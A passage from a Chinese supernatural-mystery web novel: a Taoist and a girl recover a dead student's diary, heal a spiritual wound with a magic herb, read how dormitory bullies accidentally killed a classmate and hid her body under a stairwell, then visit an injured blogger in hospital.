“对。”吴妄倒是风平浪静地点了点头，似乎这一切在他看来只不过是小场面。
“你这……你这是哪儿来的？”
“当然是李艾家找到的。”
“啊？你怎么进去的？李艾的妈妈不是不相信我们吗？你是怎么说服她的？！”
“不需要说服，我直接进去拿的。”
“你这……你进去偷啊？”
吴妄理所当然地反驳：“反正，日记的主人已经死了，而且日记的主人是希望我找到这本日记本的，我可不算偷。”
“那……你没被发现吗？”
沈聆仍旧是有点儿担忧。
毕竟，这如果严格追究起来，他们算是非法盗取他人财物啊……
吴妄摆了摆手：“没有，放心吧，我在用追踪术跟着她回家后，在他们家外面蹲了一整天，好不容易等到她出门拿快递，我瞅准了时机用‘隐身符’进去好一通找，才找到的，她发现不了。”
“但是……”
“你就放心吧，连李艾都跟我们说了要找到日记本，我们不过是按照主人的指示找到了她的日记本，何错之有？”
158. 晚饭
且说，吴妄和沈聆在回家后，外婆已经做好了一桌饭，抬眼便看见沈聆和吴妄推门而入。
“你们这两个娃娃，怎么一整天都不见呢？”
“我去上学了外婆，道长他出门去办了点事，我们今天就比较晚才回家。”沈聆说着放下书包、乐呵呵地迎上去。
两人跟随着外婆缓缓地走到餐桌前，然后轻轻地坐了下来。
二人只见餐桌上摆放着丰盛的菜肴，整整有四道菜和一碗汤。那碗汤格外引人注目，原来是一道香气扑鼻的鸡汤。汤汁表面漂浮着几颗红彤彤的大枣，宛如宝石般点缀其间，让人一眼望去便能感受到它的滋补功效。
这时，外婆微笑着开口说道：“小道长啊，听说你昨天好像受了点儿伤呢。老婆子我特意今儿个一大早起来给炖了这锅汤，你可得多喝些呀！昨儿个真是多亏了你保护咱家聆娃子哟！”
说完，她便伸手去拿过吴妄面前的碗，准备亲自给他盛汤。
吴妄见状，连忙站起身来，脸上满是感激之色，他赶忙推辞道：“谢谢您老人家啦！其实就是一点儿小伤而已，真不碍事的，还是让我自己来吧，自己来就行......”
他边说边从桌上拿起一把洁白如雪的瓷汤匙，小心翼翼地将其伸进了热气腾腾的鸡汤之中，轻轻舀起一勺色泽金黄如琥珀般的鸡汤后，一股浓郁醇厚的鸡汤香味瞬间如同烟雾一般在整个房间里弥漫开来。
“我待会儿用灵元草帮道长疗伤一下，刘悦说，灵元草能够祛除道长伤口的煞气，我想用了灵元草之后，应该就没什么问题了。”
“你这孩子，怎么到现在还没有帮小道长疗伤？”外婆正色，“那煞气虽然不多，但毕竟是阴魂的鬼气，鬼气入体，会和小道长的真气冲突，严重的话，可能会导致真气逆行，对本体产生伤害。”
“额我……我早上去上学了，所以……”
“上什么学，有什么事情会比救人治病更重要的？你这娃娃真分不清主次。”
“但是外婆，我也是高三的学生了，我今年要高考的……”
“高考？今天你就算不去，也能考到一个好成绩，但小道长的伤情你若是放着不管，到时候酿成大祸，你自己跟青城山道歉去？”
“我知道错了。”沈聆低下了头，受训。
吴妄忙打圆场：“不妨事的，外婆，我的身体好着呢，而且刘悦的煞气并不多，我今天调理了一下，大部分煞气都化解了，而且……今天我也忙着调查日记本的事情，沈聆要找我也找不到的。”
见状，外婆才作罢。
沈聆知道外婆是担心如果吴妄出了什么事情，不好跟青城山那边交代，毕竟青城山的玉蘅子真人跟外婆有着千丝万缕的缘分，她好不容易放下了过去的情分，也不愿意多做纠缠，更不希望欠他们人情。
沈聆可以理解。
一时无话，三人便吃起饭来。
“……聆娃子，你们昨天去陵川一中调查，情况如何？”
“我倒是见到了马老校长口中的刘悦，她已经死了，但是死后却依旧在学校里游荡，她想找到自己的尸体，所以今天吴妄道长才去调查了日记本的下落，现在那本日记本已经在我们手里了，我想，刘悦的尸体很快就会有下落。”
“那……也是她缠着老马的孙子吗？”
“我觉得应该不是。”沈聆沉吟了一下，抬眼看着外婆，“我感觉，刘悦在死后，就没有离开陵川一中，她大部分时间都停留在舞蹈室，那里是她和马伯良定情的地方……哦哦，马伯良就是马老校长的孙子。我怀疑马伯良在刘悦死后出现高烧不退、胡言乱语是因为被下了药，他产生了幻觉，加上心中对刘悦有愧疚，所以才出现了‘被鬼魂缠身’的事情。”
“下药，是何人所为？”
“是梁林。”
“梁家的二少爷？”
“嗯，我怀疑这件事情梁家也参与其中，但是我不知道梁林下药的目的是什么，但是下药这件事情，是真的。”
“你是如何肯定的？”
于是乎，沈聆便将学校里发生的一切，以及鬼婴和他们说的话如实和外婆说了一遍。
在听完昨天晚上的经历后，外婆陷入了长久的沉默。
她是上上任阴厨，自然经历的事情比他们要多，但是纵使如此，却也没有办法做到事事通透，这一连串的事情背后，似乎是她从来没有考虑过的……阴谋。
外婆那双眼眸犹如被岁月蒙上了一层厚重的尘埃，显得无比浑浊，但就在这看似混沌不清的眼底深处，却仿佛有惊涛骇浪在翻涌奔腾，沉甸甸的谋虑若隐若现。
只见她紧抿着双唇，用力地将嘴角向下压制，似乎是想要把即将脱口而出的担忧给硬生生吞回去。
然而，那微微颤抖的下巴还是出卖了她内心真实的情绪——对于眼前这件事情，她显然有着极为不好的预感。
时间一分一秒地过去，周围的空气都好似凝固了一般，令人感到压抑而沉闷。
沈聆和吴妄对视了一眼，他们不知道外婆在思考什么，但是从外婆的反应来看，这件事情不是这么简单的。
外婆就这样静静地沉默着，不知过了多久，终于，她缓缓张开嘴巴，用那略带沙哑且异常低沉的嗓音打破了这份令人窒息的寂静：“梁家……他们也许对那人鱼镜同样怀有觊觎之心，这一点，我们不能不防啊。”
“的确，梁家在我们行动之前就已经出手了，只是不知道他们在其中扮演着怎样的角色。”吴妄沉声说道，“据我们推测，马家，应该就是藏在市井之中的人鱼一组的后代，并且人鱼镜的下落，马老校长应该是知道的。陵川一中是他任职的地方，他对这个地方再熟悉不过，他把人鱼镜藏在这里也是可以理解。”
“既然如此，我再跟老马联系一下，他既然要我们帮助他的
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孙子，那么也不能什么事情都瞒着我们。”外婆说着，看向了吴妄，“我知道，你需要人鱼镜，有你的用处，你和那些别有用心的人不一样，你的眼神里没有贪婪，你不是用人鱼镜寻找什么旷世珍宝的，我想，老马应该也可以理解。”
“是。那麻烦您帮我们联系一下马老校长，因为这件事情对我来说很重要，我要追查的真相，是我一辈子的心结。我必须要我的家人做点什么，不能就这么放下当年的事情。”
吴妄的表情严肃着，一提起当年的事情，他的眼眸中就像是覆盖上了一层寒霜。
化不开的寒霜。
外婆大概猜到了他的身世，但是因为毕竟是人家的伤口，她也不便当面重提。
“外婆，我们待会儿要出门一下。我们要去一下平安医院，昨天晚上宋明夷被鬼附身了，我们把她送去了医院的急诊室治疗。”
“那女娃娃没事吧？”
“目前没有什么事情，大部分都是皮外伤，医生检查后说没有什么大碍，今天白天的时候她已经醒过来了，还给我打了电话，我听着她的精神头绪是不错的样子。”
“那就好，她只是一个凡人之躯，恐怕不能承受太久鬼魂的侵蚀，可以的话，你可以用灵元草给她修复一下灵魂，看看是否被煞气所伤。”
“自从上次孟婆帮我‘升级’了一下灵元草，我感觉现在灵元草的功能多了好多诶！”沈聆惊喜地说，“之前灵元草只能帮我自己疗伤，但现在还能帮别人疗伤。”
外婆点了点头：“那个老太婆，是用曼珠沙华帮你滋养灵元草的，曼珠沙华的阴株契合了灵元草的阴性，提高了灵元草之灵性，曼珠沙华这东西可不好养，她估计费了好一番功夫才种出一些。”
“说是……某个故人托她帮忙的，是灵元草最开始的主人，但是那个人已经死了上千年了，孟婆也没有多说关于那个人的故事。”
“据古书上记载，灵元草的主人，是楼兰古国中婼羌之人，但那人具体是什么职务，我也不清楚，我只知道那个人很擅长医术，也擅长巫术，千年之前，他种下了灵元草，原本想用灵元草延续自己的寿命，让自己永生永世活下去，但可惜，当时的灵元草只能延缓人的衰老，并不能阻止人的死亡。他还是死了，但死之前，将灵元草传给了自己的族人，让族人的身体作为灵元草的器皿，希望族人守住灵元草……估计也就是在那个时候，他作为鬼魂、路过了黄泉畔，和孟婆达成了什么交易，孟婆才答应了他在千年后继续滋养灵元草。”
“那他为什么要这么做呢？就算是楼兰古国也已经消失了。”
“时过境迁，世事无常，沧海桑田，都是寻常。大概，灵元草就像是他的孩子一样吧，是他耗尽一生的心血才培养出来的奇花异草，他不忍心看灵元草在自己死后就这么枯萎，如果无法继续保存在族人的身体里，那么静静绽放在这世上的某个角落，也是好的。”
159. 疗伤
外婆和刘悦都说，灵元草可以去除吴妄伤口的煞气。
只要学会调用灵元草的力量，沈聆甚至将可以做到“当代华佗”的程度。
灵元草的潜力是无限大的，但是被发现的使用方法不到万分之一，大部分婼羌族人都只是在身体里保存着它，很少使用它疗伤。
经过上千年的沉淀和修养，灵元草的力量已经强大到世人难以想象的地步。
此刻，沈聆和吴妄在客厅打坐。
沈聆在后，吴妄在前，吴妄背对着她坐着，外婆已经出门了，她要去医院看看沈凝的情况，家里只剩下了沈聆和吴妄两个人。
窗户紧闭，窗户外的深沉的夜色似乎更浓了几分。
沈聆缓缓闭上双眼，调动体内的灵元。
她能清晰地感觉到那股温暖而强大的力量在身体中流淌。她要借助灵元草的力量，为吴妄疗伤，去除那可怕的煞气。
——灵元草，如果你能听到我的声音，可以让我借用一下你的力量吗？
——我要帮道长去除煞气，而只有你，才能做到。
沈聆深深地吸了一口气，仿佛要将周围所有的灵气都汇聚在自己的双手之上，她缓缓地抬起双手，动作轻柔得如同微风拂过湖面，就在这时，一股柔和而温暖的光芒从她的掌心开始散发出来，宛如初升的太阳洒下的第一缕阳光，照亮了四周的黑暗。
随着这股光芒的出现，沈聆明显感觉到有一股暖流正在顺着自己的经脉缓缓流动。
——那种感觉就像是一条清澈的小溪在山间流淌，所到之处带来一片生机与活力，渐渐地，这股暖流汇聚成一股强大的力量，一种前所未有的轻松和舒适感涌上心头，暖洋洋的气息如同春天的和风般包裹着她的全身，让她沉醉其中无法自拔。
与此同时，那柔和的光芒在她的掌心中变得越来越强烈、越来越耀眼。
她下意识地低下头去查看，竟隐隐约约看到自己胸口处浮现出了灵元草的轮廓。
那灵元草的形状清晰可见，叶片纤细如丝，脉络分明，仿佛有着生命一般微微颤动着。
她知道灵元草听见了她的声音。
她知道灵元草接受了她的祈求。
她将双手缓缓靠近吴妄的后背，灵元草让她的双眼有了视察万物的灵力，她借着灵元草的灵力，看见吴妄的后背似乎隐隐约约有一团红色的煞气。
那煞气，应该就是昨天晚上从背后中伤了吴妄的煞气！
沈聆手中那灵元草的光芒似乎也感知到了煞气的存在，如同有生命一般，它们朝着那煞气而去，并慢慢包裹住伤口。
煞气似乎感受到了威胁，开始剧烈地翻滚起来，试图抵抗这股治愈之力。
吴妄体内的真气如汹涌澎湃的洪流一般激荡着，而他伤口处的煞气则犹如穷凶极恶的猛兽，疯狂地肆虐着，与此同时，灵元草所蕴含的纯净灵气宛如一道清泉潺潺流淌而入……
在这三种强大力量的相互交织和碰撞之下，吴妄的脸色瞬间变得苍白如纸，毫无血色可言。
紧接着，他不由自主地张开嘴巴，猛地吐出了一大口黑血，仿佛这口黑血是从他灵魂深处呕出来的一般。
然而，在他身后的沈聆并没有因为眼前的景象而心生畏惧或者退缩之意。
相反，她紧紧咬着牙关，再次加大了灵元的输出力度，只见那灵元草绽放出的光芒愈发耀眼夺目，就像是一颗璀璨的明珠散发着无尽的光辉。
“沙拉……”
灵元草的神奇力量开始缓缓渗透进入吴妄的伤口之中。
刹那间，灵元和煞气之间展开了一场惊心动魄的激烈较量。一开始的时候，那煞气异常顽强，毫不示弱地发起一波又一波猛烈的冲击，试图冲破灵元光芒的束缚，但是，随着时间一分一秒地流逝，灵元草的力量渐渐崭露头角，开始逐步占据上风，它的灵气如同叶子一样层层包裹着煞气，并逐渐缩小，逐渐吞噬。
此刻的沈聆全神贯注地操控着灵元草的能量，额头上早已布满了细密的汗珠，这些汗珠顺着她的脸颊滑落而下，尽管如此，她的眼神却始终坚定不移，透露出一股无比坚毅的决心。
渐渐地，在灵元草强大力量的持续压迫之下，那原本嚣张跋扈的煞气开始节节败退，被一点一点地吞噬，那些黑色的烟雾在灵元光芒的强烈照耀下，如同遇到烈日的冰雪一般迅速消融、消散无踪。
吴妄的脸色脸色虽然依旧苍白，但他的呼吸逐渐平稳。
终于，当最后一丝煞气被彻底清除干净之后，沈聆整个人像是被抽走了所有力气一样，一下子瘫软在地。
她大口大口地喘着粗气，汗水湿透了她的衣衫，但她的目光却一刻都没有离开过吴妄正在逐渐恢复的身躯。
看着不再有煞气的伤口，沈聆那颗悬着的心终于落了下来，脸上不由得浮现出一抹欣慰的笑容。
“成功了！”
这是她第一次调动灵元草的力量帮助别人。
灵元草似乎并不反感沈聆帮助他人的举动，甚至很配合沈聆的疗伤过程——尽管这一切都是她通过小时候看到武侠剧模拟出来的疗伤姿势。
虽然调用灵元草，也消耗了沈聆自身的精力，她现在感觉有些疲惫，似乎又熬了个通宵的疲乏。
“谢谢你灵元草！”
沈聆低下头看着胸口的荧光，灵元草动了动枝叶后，消失了。
它似乎继续沉睡了下去，在沈聆的身体里，回到了最平静的状态。
“道长，你没事吧？”
沈聆走上前，吴妄依旧打坐在原地，他睁开眼睛，看向了沈聆。
“我没事，多谢你。”
“感觉怎么样？”
“应该是没问题了，我调度一下真气。”
只见他轻轻地合上了双眼，仿佛进入到一个只属于自己的世界之中。
紧接着，他将双手慢慢地抬至胸前，并娴熟地比划了几个动作，随着这些动作的施展，一种奇异的能量波动自他的身体周围荡漾开来。
渐渐地，一圈圈淡金色的光芒如同涟漪一般从他身上向外扩散而出。
这光芒并不耀眼夺目，但却蕴含着一股令人心悸的强大力量。
沈聆知道，这是他们修道之人的护体真
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气。
运行了真气后，吴妄发现，不久前他还因为遭受煞气的侵扰而导致体内真气紊乱，实力大减，可如今，灵元草不仅成功地修复了受损的真气，而且似是是有了突破性的进展，他的修为已然更上一层楼！
好个灵元草！好个稀世珍宝！
当那淡金色的光芒逐渐收敛消失之际，一直紧闭双目的吴妄终于缓缓地睁开了眼睛。
此时他的眼眸之中闪烁着一丝不易察觉的锋芒：“真不愧是灵元草。”
“怎么说？”
“我好像，修为甚至上涨了一层……像是吃了补品，灵元草真是大补。”
“这么厉害吗？”
“嗯，难怪这么多人会觊觎灵元草，沈聆，你要小心点保护自己，你的阴五行体质很适合当灵元草的‘容器’，它很喜欢你，也很高兴你成为它的新主人。”
“真的吗？”沈聆一笑，“我也很喜欢它！”
看着吴妄没事，沈聆松了一口气。
他们和林凌约好待会儿八点去医院看宋明夷，此刻林凌还在警察局加班，他手头还有一些事情还没有做完，不着急，吴妄和沈聆倒是还有一些时间，她打算研究一下今天吴妄搞到手的李艾的日记本。
沈聆从书包里拿出了李艾日记本，她知道自己还有一天时间，可以找到刘悦的尸体。
——昨晚凌晨，她唤魂后接受了李艾的委托，在48小时内，她要拿着鬼魂最后想吃的东西，在原来的地方祭魂。
她还有一天时间。
如果能顺利找到刘悦的尸体，告慰刘悦的鬼魂，那么想必在祭魂李艾的时候，刘悦不会有太多的干扰。
沈聆拿出那本日记本的时候，随意翻了翻，她看到日记已经写了三分之二，但并不是每一天李艾都有记日记的习惯，一些事情发生的时候她才会有所记录，例如，月考，统考，隔壁班发生了什么八卦事件，或者是……马伯良今天又跟她说话了。
沈聆默默地翻看着日记。
日记的主人已经死了，但看着日记本上娟秀的字迹，沈聆完全可以想象出写下这些字的时候李艾是怎样的心情。
是的。
这本日记本里，沈聆看到了许多相同的字眼，那些字眼通常都是四个字——伯良哥哥。
李艾似乎是马伯良的小迷妹，经常在日记本上记录自己没办法告诉马伯良的话。
和大多数藏着暗恋心情的青春期的小女生一样，她会在楼梯的转角处制造偶遇，会在操场出操的时候观察马伯良的背影，会在某些特殊的节日送上自己礼物……
以及，会在看到马伯良和其他女孩子说话的时候拈酸吃醋。
尤其是，和马伯良说话的那个人，还是自己的舍友，刘悦。
如果只看日记的前半部分，那么李艾完全是偶像剧中可可爱爱的小女生，但随着“刘悦”这两个字出现的频率增加，日记的情绪开始负面化，甚至出现了许多恶毒、谩骂的话语。
她在嫉妒。
疯狂嫉妒。
因为自己高不可攀的爱慕对象，被自己看不起的舍友轻而易举地得到了。
160. 404杀人事件
日记的一开始，三个女孩子对刘悦的敌意并没有那么大。
她们只是嫌弃刘悦不合群，总是独来独往的，有种自命清高的自大，从而三个女孩子开始孤立刘悦，不愿意跟她说话，甚至也不愿意告诉她班级的作业，这让话本就不多的刘悦更加沉默寡言。
人，总是喜欢在对别人的压迫上体现出自己的地位。
李艾没有告诉其他两个女孩子自己家里是摆摊卖煎饼的，担心自己也会被其他两个女孩子孤立，她只能装作有钱人家的小孩子，也和她们买一样昂贵的化妆品，为自己的偶像小鲜肉消费买周边，并随时关注马伯良的任何消息。
和其他青春期的女孩子一样，李艾也有自己的喜欢的人。
那个人，是他们班上的马伯良。
马伯良是一个成绩优异、长相清秀的尖子生，他是一个文质彬彬的人，一眼看过去就是文艺男青年，这在青春岁月里，是很容易俘获女孩子芳心的。
李艾，也是其中之一。
她知道喜欢马伯良的女孩子很多，但她在努力靠近马伯良，总是会借助问作业、发卷子等同学之间的相处模式增加和马伯良说话的机会，希望这样能刷一刷好感度，她在马伯良面前营造的是一个温柔可人的富家女的形象。
只不过，就在她觉得自己在逐渐拉近和心爱之人的距离的时候，她突然发现，刘悦居然和马伯良有交集！
这个发现，很突然。
在某天放学之后，马伯良的作业忘了带，作为课代表的李艾拿上了伯良哥哥的卷子，并追出了教室，在路过舞蹈室的时候，她发现马伯良正站在舞蹈室外面，似乎正痴痴看着什么。
她循着马伯良的视线看去，发现是自己的舍友，刘悦，正在舞蹈室里跳舞。
是的。
是那个被孤立的刘悦。
是那个不爱说话的刘悦。
她曾经以为比起刘悦，自己应该是高高在上的那个才对，但这一刻，在看到马伯良看着刘悦的眼神的时候，她才发现，自己才是那个可笑且丑陋的存在。
所有在女生堆里制造出来的优越感，在自己心上人的爱慕面前，全都不值一提。
她尽力靠近的男人，却被其他女孩子轻而易举地吸引了视线。
那一天，她撕掉了本来要给马伯良的卷子。
她知道马伯良会因此被老师责骂，但她就是带着这样报复的心态，想让给他一点苦头吃。
从那一天开始，李艾更团结其他舍友欺负刘悦。
刘悦不爱说话，她们就在旁边对她冷嘲热讽，说刘悦是乡下来的人，所有衣服都脏兮兮的有跳蚤，她们不允许刘悦使用宿舍的卫生间，经常把刘悦晾在外面的衣服丢在地上，在刘悦洗澡的时候关掉电灯和热水器的总闸……
她们用所有女孩子能想出的手段对付刘悦，但刘悦始终没有说过什么。
她总是自己蜷缩在床铺上——她没有使用404宿舍衣柜的权利，三个女孩子霸占了属于她的衣柜空间，她只能将所有的衣服都堆放在床铺上，瘦弱的她就蜷缩在这堆衣服中间，要么在看书，要么戴着耳机听歌。
她的成绩并不算很好，最多只能上个本二，但她似乎有超乎寻常的忍耐力，就算被欺负到这个地步，也不曾到老师那边告状。
但这样的忍让并没有让三个女孩子停止对她的霸凌。
李艾开始会在刘悦的床铺上放针、牙签等尖锐的东西，会用剪刀剪破她的裤子，甚至会撕掉她的书本的某一页……
这样的行为，一直持续到高二上学期快期末的时候，刘悦忽然请假了。
没有人知道她请假的原因，就连老师也只是在班会上提了一嘴刘悦最近身体有点不舒服，将请假两个月，这两个月中间，她也曾经回来学校办理手续过，但很快便匆匆离去，加上暑假的两个月，她们几乎四个月都没有看到过刘悦。
最后一次看到刘悦的时候，就是发生悲剧的那天。
李艾在日记里记下了当时慌乱的心情，不知道在拉扯中是谁推了刘悦一把，刘悦的脑袋撞到了洗手台，她闷哼了一声，身体就软了下去，她们再怎么叫唤她，也没有声音了。
李艾记不起来究竟是谁推了一把刘悦，或许，谁都不记得了，又或许，推她的那个人记得，但是故意不愿意说出来。
总而言之，三个未成年女孩子，讲义气地一起背下了这口名为“杀人”的锅。
如果直接自首，她们都不愿意面对人生毁于一旦的后果，于是乎，她们商量了很久要怎么处理尸体，最后，李艾提出了一个想法——埋起来。
这似乎是最稳妥的办法，如果要分尸，尸体的骨骼不好处理，而且如果带出宿舍楼外丢弃，可能会因为血腥味引起清洁工的注意。
那么要怎么做呢？
李艾提出，现在刚开学，许多学生提着行李箱进进出出，所以用行李箱运尸体是最保险的、最不引人注意的办法。
其次，处理尸体的地方，不能是在学校的花圃或者某个小山坡，这样监控会拍摄到她们拉着行李箱去花圃的过程，并且埋尸体的新土很容易被看出来。
那么综合而言，最方便处理尸体的，就是教学区。
是的。
恰好在暑假期间，2号教学楼的楼梯正在重新翻新维修，原先2号楼的楼梯被钻开，并且用水泥和泥土重新起了楼梯的形状，在案发时，楼梯还在整修，恰好整修到最后一级台阶。而且现在刚开学，学生陆续返校，晚上教学楼一般是没有人的，恰好给了他们处理尸体的时机。
于是，在李艾的提议下，当天晚上，三个女孩子用行李箱将刘悦的尸体带出了宿舍，一路沿着小径，鬼鬼祟祟地绕到了2号楼的楼梯间，楼梯间在翻修，所以并没有安装监控摄像头，加上晚上并没有人在这里自习，她们便神不知鬼不觉地将尸体埋在了一楼的楼梯下。
做完这一切后，三个女孩子心事重重地回到了宿舍，谁都没有说话，在一言不发中，大家轮流洗澡洗头，这一天晚上，所有人都洗了很久，似乎想洗掉身上的血腥味。
最后，她们整理了一下刘悦的床铺，撕掉了她的产检病历本，伪装作此人无缘无故消失了的事情，第二天又若无其事地上课报道，似乎404宿舍从来都没有这个人出现过，她们也不曾认识这个叫做“刘悦”的女孩子。
一直到三四天后，因为刘悦迟迟没有来上课，老师找到了家长，但家长又
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说刘悦早就出门上学了，家长、老师、校方这才发现刘悦失踪了，所有人才发现那个不爱说话的女孩子，似乎很久没有出现过。
他们报了警，调取了监控，但监控画面只看到那天刘悦回到了宿舍楼，却再也没有看到她离开的痕迹。
那天学生们都忙着返校、整理行李，乱哄哄的宿舍楼，大家也说不清楚有没有再看到过刘悦。
而这三个女孩子，早已经统一了口径，对外一致说是没看到刘悦，她可能回了宿舍后又出去了，没跟她们交代过任何事情。
至此，这件事情变成了神秘的失踪案。
只是没有人知道，刘悦的尸体，被埋在了楼梯下，被千人踩、万人踏。
李艾将所有事情都记载在了日记本上。
她并不是一个天生反社会人格，动手杀人，她也深感不安和愧疚，并且这样的愧疚随着时间的拉长并没有一丝一毫地缓解，反而如同千万只蚂蚁一样在心里啃食，她时常做噩梦，每天都梦到刘悦站在自己的床头满头是血地问她为什么要杀死她，问她为什么要把她埋在楼梯下……
她答不出来，只能一次次被这样的噩梦吓醒。
在这样的精神折磨下，变得神情恍惚。
她想离开这里，想转校，想忘掉一切。
但是她的妈妈，那个卖葱油饼的女人，没有那么多钱让她转到新的学校，她无法对任何人说起自己的愧疚，只能在日记本上记下这一切，把日记当做无声的倾听者。
更让人毛骨悚然的是，自从刘悦离奇死亡之后，李艾便时常能够感觉到404宿舍里仿佛有某种不可名状且阴森可怖的存在悄然入驻。那种异样的感觉异常强烈而又清晰可辨，就好似有一双无形的眼睛时刻在黑暗中窥视着她一般。
每到午夜时分，万籁俱寂之际，那令人胆寒的声响便会准时在这间宿舍内回荡开来。
——起初只是隐隐约约地传来一阵轻微的脚步声，仿若有人正蹑手蹑脚地在屋内踱步，然而随着时间的推移，这声音变得愈发响亮和频繁起来，有时还夹杂着孩童凄厉的啼哭之声，那哭声撕心裂肺，仿佛饱含着无尽的痛苦与哀怨，直叫人心惊肉跳。
不仅如此，厕所里也常常传出一些奇怪的响动……或是水龙头突然自行打开，水流哗哗作响；或是马桶冲水的声音骤然响起，但里面却空无一人。
甚至就连李艾站在衣柜的镜子前更换衣物时，眼角余光都会瞥见一个模糊不清的身影从自己身后飞速掠过，快得如同闪电，让她根本来不及看清究竟是什么东西。
这些诡异的现象日益加剧，使得原本平静的404宿舍如今弥漫着一股令人窒息的恐怖氛围。
每当夜幕降临，李艾都不敢独自留在房间里，生怕遭遇不测。
就在这时，日记戛然而止。
日记的主人似乎发生了什么事情，让她没有继续记日记。
在日记的最后一页，李艾提到了一件事情——有一个高三年的学长，找到了她，告诉她可以给她一个东西，让马伯良吃下，就能让她得到马伯良的心，得到了马伯良的心后，就能利用马老校长的交际网，让她和马伯良一起转校，离开这里。
那个人，叫梁林。
161. 视频中的人影
在研究完李艾的日记后，沈聆和吴妄打车来到了平安医院。
林凌也正好驱车赶到，公安局的事情似乎很多，他每天都加班到晚上九点，今天八点就离开了岗位，居然也算是提前下班了。
在下车的时候，林凌带着一个馍馍，就开始啃了起来，抬眼看到了站在医院门前的沈聆和吴妄两人，他挥了挥手。
“林警官还没吃晚饭吗？”
“没呢。”林凌嘴巴里嚼着干干的馍馍，朴实地抬头一笑，“今天在公安局有点儿忙，李队长出去公干出差了，我要替他开会，还要整理我自己的笔录和档案，就没有时间吃饭了。这不，刚好和你们约好要出来，我就在公安局门口买了个馍馍，这个顶饱的，我以前加班的时候就爱啃它。”
吴妄看着林凌，咂了咂嘴，凑近沈聆问道：“你们山下的人，都这么爱加班吗？”
“不是爱加班，是因为生活所迫，没办法。”
“我感觉他怎么比骡子都辛苦，而且还喜欢自己给自己‘打鸡血’。”
“在我们山下呢，这样人统称为……‘牛马’，你也可以叫‘社畜’，我以后毕业找工作后，也会变成他这样的人。”
沈聆叹了口气，在他们说话之间，林凌已经来到了他们面前。
“走吧，听说宋明夷醒了，我们去看看。”
“那家伙好着呢，下午给我打电话的时候，还说要编辑视频，争取再制造一个热门话题出来，吸引一波流量。”
“什么视频？”林凌好奇地啃着馍馍，看着沈聆。
沈聆柔声解释：“就是我们昨天晚上玩的四人游戏，这个是灵异题材的视频，他们这类灵异博主经常会玩一些类似灵异游戏——四人游戏啊，笔仙啊之类的，通灵类的游戏，满足大家想玩又不敢自己亲自玩的好奇心。”
吴妄翻了个白眼，双手插在裤兜里：“这些人好无聊啊。”
“因为大家都会多未知的事情多少带着几分探索欲吧，毕竟是通灵之类的事情，大家都想问问看关于未来的事情。但是这些游戏也有很多规则的，毕竟‘请神容易送神难’，如果不遵守游戏规则，很可能会造成一些无法估量的后果，这也是大家不敢轻易尝试的原因。”
林凌三下五除二吃完了最后一口馍馍后，将塑料袋丢进了旁边的垃圾桶里。
他们朝着宋明夷所在的急诊科而去，林凌继续说下去——
“我之前也在天涯论坛上看过这样的帖子，有一个博主一直玩类似的禁忌类游戏，他原本是个打假博主，意思是通过自己亲身玩这些游戏，证实这些游戏其实没什么可怕的，这个世界上也没有什么鬼神……但是有一天，他突然没有继续发帖子了，像是突然之间人间蒸发了，就在大家都以为他出事了的时候，他忽然发了个帖子，说自己在现实生活中遇到了一些……不是很太平的事情，家里人也陆续出事，自己的运气变得很差，工作丢了，做生意失败，甚至也发生过一些威胁到人生安全的事情……”
沈聆推敲：“会不会是那些禁忌类的游戏影响了他的运势？”
“有这个可能。”吴妄站在“专业”的角度解释道，“鬼神这种东西，肉眼凡胎一般是看不见的，但是对鬼神不能没有敬畏，孔子说，‘子不语，怪力乱神’，对鬼神的事情，可以不信，但是不能抱着玩弄嘲讽的心，终究会害人害己。”
沈聆点了点头：“我之前好像也在短视频平台看到过一个博主，各种摔观音像，破鬼神之说，但突然有一天，他消失了，再一次出现后，他整个人突然有了一百八十度的转变，不知道在他消失的这段时间经历了什么，但他最新更新的视频内容却和以往大相径庭，他开始参与一些‘放生’的行动，甚至开始满口‘积累公德’之语……怪可怕的。”
医院走廊的风有点儿冷，林凌不由得打了个冷颤，他拢了拢自己的外套：“可能是有什么‘神奇的力量’让他开始相信以前不相信的东西了吧。”
谈话间，三人已经来到了宋明夷的急诊病房之外。
刚一进去，便听到了宋明夷的声音：“哇，我的点击量不错诶，现在都有三万的浏览量了！”
当那三个人轻轻推开门走进房间时，首先映入眼帘的便是躺在床上翘着二郎腿玩手机的宋明夷。
只见她身着一套蓝色条纹的宽松病号服，一头长发如瀑布般随意地披散开来，倚靠在柔软的枕头上，宛如一朵娇弱却又倔强盛开的花朵。
仔细看去，可以发现她的脸上、脖颈处以及手臂和手上等多处都包裹着厚厚的白色纱布，这些纱布就像是一个个醒目的标记，提醒着人们她昨晚才经历过一场磨难，然而，令人惊讶的是，如此状况丝毫没有减弱她对玩手机的浓厚兴趣。
此刻，她的手机正连接着充电器，仿佛源源不断的电量能够支撑起她沉浸于虚拟世界中的无限热情。
她那双明亮而专注的眼睛紧紧盯着手机屏幕，嘴角微微上扬，透露出一种难以掩饰的愉悦之情，似乎完全忘却了身上的伤势，全心全意地投入到眼前那个精彩纷呈的数字世界里去了，享受着其中带来的无尽乐趣。
“看起来情况还不错的样子？”
听见沈聆的声音，宋明夷抬起头，露出了一个惊喜的笑容：“小聆聆！”
“看样子你的精神还不错。”
“好多啦，就是伤口还有点儿疼，脑袋还有点儿晕乎乎的。”
“是吗？我看你挺自在的。”林凌轻笑，“你现在住院，都不用上班了，你同事还在产科值夜班吧。”
“切，我这叫合理休息！我们打工人也有休息的权利的。”宋明夷放下手机，拉起沈聆的手，热切地说道，“小聆聆，我下午编辑了我们昨天玩四角游戏的视频，发到网上后果然好多人看！现在讨论度挺高的，大家都夸我胆子大！”
“你胆子确实大，昨天你都被鬼附身了，现在还这么喜滋滋的。”沈聆抬手，捋了捋宋明夷的发丝。
沈聆其实挺羡慕宋明夷这种乐天的性格，她的生活也不算轻松，但她却总能从这样的生活里找到让自己积极向上的关注点，从而保持热忱地活下去，这在这个社会中，已经是很难得的了。
“被鬼附身？我吗？”
“嗯，昨天你玩四人游戏的时候，突然消失了，原本你站着的地方只留下一滩血和你的手机，我们还以为你死了呢。”吴妄用平静的语气说这可怕的字眼。
这几
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句话，让宋明夷当场脸色苍白。
“我……我倒是不记得那些了……我就记得在我游戏里出现第五个人的时候，我按照小聆聆之前的嘱咐继续进行游戏，但是当我第二次还是第三次跑到那个有人的角落的时候，突然眼前一黑，身体好像被什么力量拉走了……然后我就什么都不知道了，等我醒来后，就发现我正在平安医院的急诊科里。”
听着宋明夷的话，在场的三个人对视了一眼。
随后，沈聆将昨天晚上发生的事情，包括刘悦、鬼婴、李艾、马伯良甚至是梁林的事情，都原原本本说了一遍。
